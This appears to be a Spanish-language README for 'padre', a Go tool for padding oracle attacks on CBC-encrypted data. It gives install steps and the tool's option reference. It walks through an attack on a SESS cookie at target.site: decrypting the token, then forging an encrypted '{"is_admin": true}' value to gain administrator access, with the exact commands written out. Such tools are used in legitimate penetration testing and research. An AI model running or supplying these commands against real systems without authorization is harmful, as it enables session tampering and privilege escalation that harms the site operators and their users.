
Exploit de Oracle de Relleno avanzado y ultrarrápido.
padre es un explotador avanzado para ataques de Padding Oracle contra el modo de cifrado CBC
Características:

La forma más rápida es descargar el binario precompilado para tu sistema operativo desde la Última versión
Alternativamente, si tienes Go instalado, compila desde el código fuente:
go install github.com/glebarez/padre@latest
Si encuentras un supuesto oráculo de relleno, donde los datos cifrados están almacenados dentro de una cookie llamada SESS, puedes usar lo siguiente:
padre -u 'https://target.site/profile.php' -cookie 'SESS=$' 'Gw3kg8e3ej4ai9wffn%2Fd0uRqKzyaPfM2UFq%2F8dWmoW4wnyKZhx07Bg=='
padre detectará automáticamente las respuestas HTTP para determinar si se puede confirmar el oráculo de relleno. Si el servidor es efectivamente vulnerable, el token proporcionado se descifrará en algo como:
{"user_id": 456, "is_admin": false}
¡Parece que podrías escalar tus privilegios aquí!
Puedes intentarlo generando primero tus propios datos cifrados que el oráculo descifrará de vuelta a un texto plano engañoso:
padre -u 'https://target.site/profile.php' -cookie 'SESS=$' -enc '{"user_id": 456, "is_admin": true}'
Esto generará otro conjunto de datos cifrados codificados, quizás algo como lo siguiente (si se usa base64):
dGhpcyBpcyBqdXN0IGFuIGV4YW1wbGU=
Ahora puedes abrir tu navegador y establecer el valor de la cookie SESS al valor anterior. Al cargar la página original del oráculo, deberías ver que has sido elevado a nivel de administrador.
Usage: padre [OPTIONS] [INPUT]
INPUT:
En modo descifrado: datos cifrados
En modo cifrado: el texto plano a cifrar
Si no se pasa, se leerá de STDIN
NOTA: los datos binarios siempre están codificados en HTTP. Ajusta las reglas de codificación si es necesario (ver opciones: -e, -r)
OPTIONS:
-u *obligatorio*
URL objetivo, usa el carácter $ para definir el marcador de posición del token (si está presente en la URL)
-enc
Modo cifrado
-err
Patrón de expresión regular, las respuestas HTTP se compararán con esto para detectar el oráculo de relleno. Omitir para realizar huella digital automática
-e
Codificación a aplicar a los datos binarios. Valores admitidos:
b64 (base64 estándar) *predeterminado*
lhex (hexadecimal en minúsculas)
-r
Reemplazos adicionales a aplicar después de codificar los datos binarios. Usa cadenas de longitud impar, formadas por pares de caracteres <ANTIGUO><NUEVO>.
Ejemplo:
Si el servidor usa base64, pero reemplaza '/' con '!', '+' con '-', '=' con '~', entonces usa -r "/!+-=~"
-cookie
Valor de la cookie a establecer en las solicitudes HTTP. Usa el carácter $ para marcar el marcador de posición del token.
-post
Datos de cadena para realizar solicitudes POST. Usa el carácter $ para marcar el marcador de posición del token.
-ct
Content-Type para solicitudes POST. Si no se especifica, se determinará automáticamente.
-b
Longitud del bloque utilizada en el cifrado (usa 16 para AES). Omitir para realizar detección automática. Valores admitidos:
8
16 *predeterminado*
32
-p
Número de conexiones HTTP paralelas establecidas al servidor objetivo [1-256]
30 *predeterminado*
-proxy
Proxy HTTP. Ejemplo: usa -proxy "http://localhost:8080" para Burp o ZAP